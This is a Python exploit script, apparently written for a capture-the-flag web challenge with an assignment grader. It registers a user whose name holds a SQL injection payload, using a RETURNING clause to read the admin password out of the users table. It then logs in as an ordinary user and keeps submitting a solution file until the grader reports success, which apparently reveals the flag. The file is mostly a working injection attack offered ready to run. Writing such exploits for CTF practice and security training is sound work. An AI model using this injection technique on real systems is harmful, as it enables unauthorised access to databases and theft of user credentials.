#!/usr/bin/env python3

import json
import random
import requests
import sys
import time

import logging
logging.basicConfig(level=logging.DEBUG)

def main():

    host = sys.argv[1]
    port = int(sys.argv[2])

    url = f"http://{host}:{port}"

    username = f"attack{random.randint(0, 1000000)}"
    passwd = "testing"

    exploit_username = f"{username}','{passwd}')returning(id),(select(password)from\"users\"where(id)=1)--"
    
    result = requests.post(f"{url}/user/register",
                           json=dict(name=exploit_username,
                                     passwd=passwd))
    assert result.status_code == 200
    r = result.json()
    admin_pass = r['returning_from_db_name']
    assert admin_pass == "zKSTznZYGD"

    username = f"test{random.randint(0, 1000000)}"
    
    result = requests.post(f"{url}/user/register",
                           json=dict(name=username))    
    assert result.status_code == 200
    r = result.json()
    assert 'id' in r

    passwd = r['password']

    result = requests.post(f"{url}/user/login",
                           json=dict(name=username,
                                     passwd=passwd))
    assert result.status_code == 200
    r = result.json()
    token = r['token']

    auth_headers = {"X-Auth-Token": token}

    done = False
    while not done:
        result = requests.post(f"{url}/assignment/1/submissions",
                               json=dict(file=open('solution.c', 'r').read()),
                               headers=auth_headers)
        r = result.json()
        id = r['id']

        time.sleep(4)

        while True:

            result = requests.get(f"{url}/submission/{id}/result",
                                  headers=auth_headers)
            r = result.json()
            print(r)

            if 'retry' in r:
                time.sleep(4)
            else:
                if 'Success' in r['message']:
                    print(r['message'][9:])
                    sys.exit(0)
                else:
                    print('trying again')
                    break
                
    sys.exit(-1)

if __name__ == '__main__':
    main()
